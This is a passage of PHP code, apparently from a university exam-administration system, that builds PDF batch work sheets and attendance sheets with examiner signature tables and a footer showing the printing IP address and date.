$this->pdf->SetMargins(10, 40); $this->pdf->AddPage(); $this->pdf->Rect(4,03,205,280); $this->pdf->SetFont('Times','B',12); $this->pdf->SetMargins(10,40); if($froomname != '') $this->pdf->Cell(176,5,"Room Name :$froomname","",1,'C'); $this->pdf->Cell(176,5,"Batch :{$batch_no} {$date_time}","",1,'C'); $this->pdf->Cell($width[0],5,'Sl.',"LRT",0,'C'); $this->pdf->Cell($width[1],5,'',"LRT",0,'C'); $this->pdf->Cell($width[2],5,'',"LRT",0,'C'); $this->pdf->Cell($width[3],5,'Main',"LRT",0,'C'); $this->pdf->Cell($width[4],5,'Additional',"LRT",0,'C'); if($FUNIVCODE == '052') { $this->pdf->Cell($width[6],5,'Graph ',"LRT",0,'C'); $this->pdf->Cell($width[6],5,'Semi-Log ',"LRT",0,'C'); } $this->pdf->Cell($width[5],5,'',"LRT",1,'C'); $this->get_x_pos=$this->pdf->GetX(); $this->get_y_pos=$this->pdf->GetY(); $this->pdf->Cell($width[0],5,'No.',"LRB",0,'C'); $this->pdf->Cell($width[1],5,$this->FREGROLL,"LRB",0,'C'); $this->pdf->Cell($width[2],5,'Name.',"LRB",0,'C'); $this->pdf->Cell($width[3],5,'Ans. Book No.',"LRB",0,'C'); $this->pdf->Cell($width[4],5,'Ans. Book No.',"LRB",0,'C'); if($FUNIVCODE == '052') { $this->pdf->Cell($width[6],5,'Sheet No.',"LRB",0,'C'); $this->pdf->Cell($width[6],5,'Sheet No.',"LRB",0,'C'); } $this->pdf->Cell($width[5],5,'Signature.',"LRB",1,'C'); } $sl_no++; } $this->WriteFooter($fexaminer1,$fexaminer2,$fexaminer3,$fexaminer4,$fexaminer5,$fexaminer6); $this->pdf->Ln(3); } } function WriteFooter($fexaminer1,$fexaminer2,$fexaminer3,$fexaminer4,$fexaminer5,$fexaminer6) { $this->pdf->Ln(6); $table1 = ""; $table1 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellspacing="0" cellpadding = "2">'; $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;" >Sl. No.</td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >Examiner Name</td> <td width="130" height="20px" style = "text-align:center;">College / Institution</td> <td width="90" height="20px" style = "text-align:center;">Signature</td> <td width="70" height="20px" style = "text-align:center;">Date </td> </tr>'; $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">01</td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer1.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">02 </td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer2.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; if($fexaminer3 != '') { $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">03 </td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer3.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; } if($fexaminer4 != '') { $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">04 </td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer4.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; } if($fexaminer5 != '') { $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">05 </td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer5.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; } if($fexaminer6 != '') { $table1 .='<tr nobr="true" > <td width="40" height="20px" style = "text-align:center;">06 </td> <td width="200" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fexaminer6.'</td> <td width="130" height="20px" style = "text-align:center;"></td> <td width="90" height="20px" style = "text-align:center;"></td> <td width="70" height="20px" style = "text-align:center;"></td> </tr>'; } $table1 .= '</table>'; $this->pdf->writeHTML($table1, true, true, false, false, 'L'); // $X_pos=$this->pdf->GetX(); // $FUNIVCODE = $_SESSION['FUNIVCODE']; // $this->pdf->SetFont('Times','',8); // $this->pdf->SetX($X_pos+15); // $this->pdf->Ln(3);$this->pdf->SetFont('Times','',9); // $this->pdf->Cell(35,6,'',"",0,'C'); // /* $this->pdf->Cell(30,6,'Examiner - 03',"",0,'C'); // $this->pdf->Cell(30,6,'Examiner - 04',"",1,'C'); */ // if($FUNIVCODE == '049') // { // $this->pdf->Cell(40,6,'Examiner - 01',"",0,'C'); // $this->pdf->Cell(40,6,'Examiner - 02',"",1,'C'); // }else // { // $this->pdf->Cell(33,6,'Examiner - 01',"",0,'L'); // $this->pdf->Cell(33,6,'Examiner - 02',"",0,'L'); // if($fexaminer3 != '') // $this->pdf->Cell(33,6,'Examiner - 03',"",0,'L'); // if($fexaminer4 != '') // $this->pdf->Cell(33,6,'Examiner - 04',"",0,'L'); // if($fexaminer5 != '') // $this->pdf->Cell(33,6,'Examiner - 05',"",0,'L'); // $this->pdf->Cell(1,6,'',"",1,'L'); // } // $this->pdf->Cell(8,6,'',"",0,'C'); // $this->pdf->Cell(25,6,'Name',"",0,'L'); // $this->pdf->Cell(3,6,':',"",0,'C'); // if($FUNIVCODE == '049') // { // $this->pdf->Cell(40,6,$fexaminer1,"",0,'C'); // $this->pdf->Cell(40,6,$fexaminer2,"",1,'C'); // }else // { // $this->pdf->SetFont('Times','',7); // $this->pdf->Cell(33,6,$fexaminer1,"",0,'L'); // $this->pdf->Cell(33,6,$fexaminer2,"",0,'L'); // $this->pdf->Cell(33,6,$fexaminer3,"",0,'L'); // $this->pdf->Cell(33,6,$fexaminer4,"",0,'L'); // $this->pdf->Cell(33,6,$fexaminer5,"",1,'L'); // } // $this->pdf->SetFont('Times','',9); // $this->pdf->Cell(8,6,'',"",0,'C'); // $this->pdf->Cell(25,6,'College / Degn',"",0,'L'); // $this->pdf->Cell(3,6,':',"",1,'C'); // $this->pdf->Cell(8,6,'',"",0,'C'); // $this->pdf->Cell(25,6,'Signature',"",0,'L'); // $this->pdf->Cell(3,6,':',"",1,'C'); // $this->pdf->Cell(8,6,'',"",0,'C'); // $this->pdf->Cell(25,6,'Date & Time',"",0,'L'); // $this->pdf->Cell(3,6,':',"",0,'C'); // $this->pdf->Cell(50,3,$pdf->date_1,'0',1,'L'); // $this->pdf->Ln(9); // $this->pdf->SetX($X_pos+15); // $this->pdf->Ln(5); } function Footer() { $this->ip=$_SERVER["REMOTE_ADDR"]; $this->pdf->SetFont('Times','',8); $this->pdf->setY(-20); //$this->pdf->Cell(90,3,'Printed Date & Time: '.$this->date_timef,'0',0,'L'); $this->pdf->Cell(140,6,'Printed : IP Address : '.$this->ip." Date ".$this->date_timef,'0',0,'L'); } function SendOutput() { $this->pdf->Output("batch_work_sheet_{$this->report_id}.pdf","I"); } } function GenerateAttendanceSheets($aobj_context) { // var_dump("Sdksdhsdk");die(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj=new batch_work_sheet(); //$class_obj->AliasNbPages(); $class_obj->Default_construstor($aobj_context); $class_obj->GetQuery(); $class_obj->SendOutput(); } function NbLines($w,$txt,$pdf) { //Computes the number of lines a MultiCell of width w will take $cw=&$pdf->CurrentFont['cw']; if($w==0) $w=$pdf->w-$pdf->rMargin-$pdf->x; $wmax=($w-2*$pdf->cMargin)*1000/$pdf->FontSize; $s=str_replace("\r",'',$txt); $nb=strlen($s); if($nb>0 and $s[$nb-1]=="\n") $nb--; $sep=-1; $i=0; $j=0; $l=0; $nl=1; while($i<$nb){ $c=$s[$i]; if($c=="\n"){ $i++; $sep=-1; $j=$i; $l=0; $nl++; continue; } if($c==' ') $sep=$i; $l+=$cw[$c]; if($l>$wmax){ if($sep==-1){ if($i==$j) $i++; } else $i=$sep+1; $sep=-1; $j=$i; $l=0; $nl++; } else $i++; } return $nl; } ?>
Close